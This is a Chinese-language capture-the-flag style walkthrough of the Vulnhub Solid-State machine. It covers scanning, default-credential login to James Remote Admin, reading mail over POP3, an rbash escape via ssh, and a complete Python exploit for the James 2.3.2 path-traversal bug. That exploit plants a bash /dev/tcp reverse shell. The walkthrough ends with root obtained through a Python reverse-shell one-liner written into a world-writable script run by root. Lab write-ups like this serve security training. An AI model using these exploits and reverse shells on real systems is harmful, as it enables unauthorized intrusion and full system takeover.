[Vulnhub]Solid-State POP3邮件服务(James)+rbash逃逸

信息收集&SSH

Server IP addressPorts Open
192.168.8.100TCP:22,25,80,110,119,4555

Nmap 扫描:

$ nmap -p- 192.168.8.100 --min-rate 1000 -sC -sV

结果:

Host is up (0.00061s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello 192.168.8.100 (192.168.8.107 [192.168.8.107]), PIPELINING, ENHANCEDSTATUSCODES
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

目标存在 james-admin 服务.

$ nc 192.168.8.100 4555

使用root,root登录服务管理

image.png

修改用户mindy密码.

setpassword mindy mindy

再次连接到pop3服务

$ nc -nC 192.168.8.100 110

user mindy
pass mindy
list
retr 2

image-1.png

从邮件中获得用户名密码

username: mindy
pass: P@55W0rd1!2@

通过ssh登录后,你会发现这个用户受到rbash权限限制

image-2.png

当用户使用 rbash 时,会受到以下限制:

  • 禁止更改目录:用户无法使用 cd 命令更改当前工作目录。
  • 禁止设置和取消设置 shell 选项和位置参数:用户无法使用 set 和 unset 命令来更改 shell 的选项和位置参数。
  • 禁止执行包含斜杠(/)的命令:用户不能直接执行路径中包含斜杠的命令。这意味着用户只能运行系统中已经配置好的命令。
  • 禁止重定向输出:用户不能使用重定向(如 > 和 <)来读写文件。
  • 禁止使用环境变量更改路径:用户无法更改 $PATH 环境变量,以防止其访问未经授权的命令。
  • 禁止导入和定义函数:用户无法使用 source 或 . 来运行脚本,也不能定义函数。

使用 ssh -t 选项 rbash逃逸

$ ssh mindy@192.168.8.100 -t bash

image-3.png

使用 ssh -t 选项绕过 rbash
当你使用 ssh -t bash 命令时,实际的行为涉及以下关键点:

强制分配伪终端

  • -t 选项强制 SSH 会话分配一个伪终端。这在某些情况下是必要的,例如当需要交互式 shell 时。

直接启动新 Shell

  • SSH 成功登录后,-t bash 告诉 SSH 在目标机器上直接启动 bash shell,而不是默认的登录 shell。即使默认的登录 shell 是 rbash,该命令也会覆盖默认的 shell 并启动一个普通的 bash

逃逸 rbash 的限制

  • rbash 环境中,用户无法直接通过命令行启动 bash,因为它禁止执行包含斜杠的命令和路径。
    通过使用 ssh -t bash,你绕过了 rbash 的限制,因为这个命令是在 SSH 会话建立时由远程 SSH 服务处理的,而不是在 rbash shell 内部处理的。

利用 James 已知漏洞 rbash逃逸

#!/usr/bin/python3

import socket
import sys
import time

# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 4:
    sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
    sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
    sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
    sys.exit(1)

remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]

# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only

print ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:
    print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)


def recv(s):
        s.recv(1024)
        time.sleep(0.2)

try:
    print ("[+]Connecting to James Remote Administration Tool...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
    s.recv(1024)
    s.send((user + "\n").encode('utf-8'))
    s.recv(1024)
    s.send((pwd + "\n").encode('utf-8'))
    s.recv(1024)
    print ("[+]Creating user...")
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
    s.recv(1024)
    s.send("quit\n".encode('utf-8'))
    s.close()

    print ("[+]Connecting to James SMTP server...")
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
    s.send("ehlo team@team.pl\r\n".encode('utf-8'))
    recv(s)
    print ("[+]Sending payload...")
    s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
    recv(s)
    s.send("data\r\n".encode('utf-8'))
    recv(s)
    s.send("From: team@team.pl\r\n".encode('utf-8'))
    s.send("\r\n".encode('utf-8'))
    s.send("'\n".encode('utf-8'))
    s.send((payload + "\n").encode('utf-8'))
    s.send("\r\n.\r\n".encode('utf-8'))
    recv(s)
    s.send("quit\r\n".encode('utf-8'))
    recv(s)
    s.close()
    print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
    if '/bin/bash' in payload:
        print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
    print ("Connection failed.")

我们逐步分析脚本
1.这个脚本是利用了James目录穿越漏洞
2.创建一个恶意用户
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
3.连接SMTP(25)服务,发送邮件给…/…/…/…/…/…/…/…/etc/bash_completion.d

s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
recv(s)
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
recv(s)
s.send("data\r\n".encode('utf-8'))
recv(s)
s.send("From: team@team.pl\r\n".encode('utf-8'))
s.send("\r\n".encode('utf-8'))
s.send("'\n".encode('utf-8'))
s.send((payload + "\n").encode('utf-8'))
s.send("\r\n.\r\n".encode('utf-8'))
recv(s)
s.send("quit\r\n".encode('utf-8'))
recv(s)

这行代码中发送给了 ../../../../../../../../etc/bash_completion.d,但是实际上服务端在处理该邮件时,已将带有反向shell的载荷保存到 ../../../../../../../../etc/bash_completion.d

由于 /etc/bash_completion.d 目录中的脚本在用户启动 Bash 时会自动加载和执行,因此当用户登录时,payload(有效载荷)也会被执行。

所以我们需要监听10032

$ nc -lvnp 10032
$ python3 exp.py 192.168.8.100 192.168.8.107 10032

image-4.png

因此我们需要利用ssh登录,来触发payload

$ ssh mindy@192.168.8.100

image-5.png

image-6.png

Local.txt 截屏

image-7.png

Local.txt 内容

dj218doa91

权限提升

我们将pspy32工具上传至服务器
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32

pspy32 是 pspy 工具的 32 位版本。pspy 是一个开源工具,用于监控 Linux 系统上的进程和命令执行。它不需要 root 权限,也不依赖于系统上的任何特定库或二进制文件,因此可以非常方便地用于安全审计和调试目的。

${debian_chroot:+($debian_chroot)}mindy@solidstate:/tmp$ chmod +x pspy32

image-8.png

${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ vi /opt/tmp.py

root 用户执行了/opt/tmp.py
不幸的是,我们无法在/etc/crontab看到这个任务执行周期
通过ls -la /opt/tmp.py 查看,验证了这个文件的确可以被任何用户修改

我们将反向shell代码写入到/opt/tmp.py

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.8.107",10033));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

image-9.png

$ nc -lvnp 10033

几分钟后我们可以获取目标Root权限

image-10.png

Proot.txt 截屏

image-11.png

Proot.txt 内容

di1910012n

  • 9
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值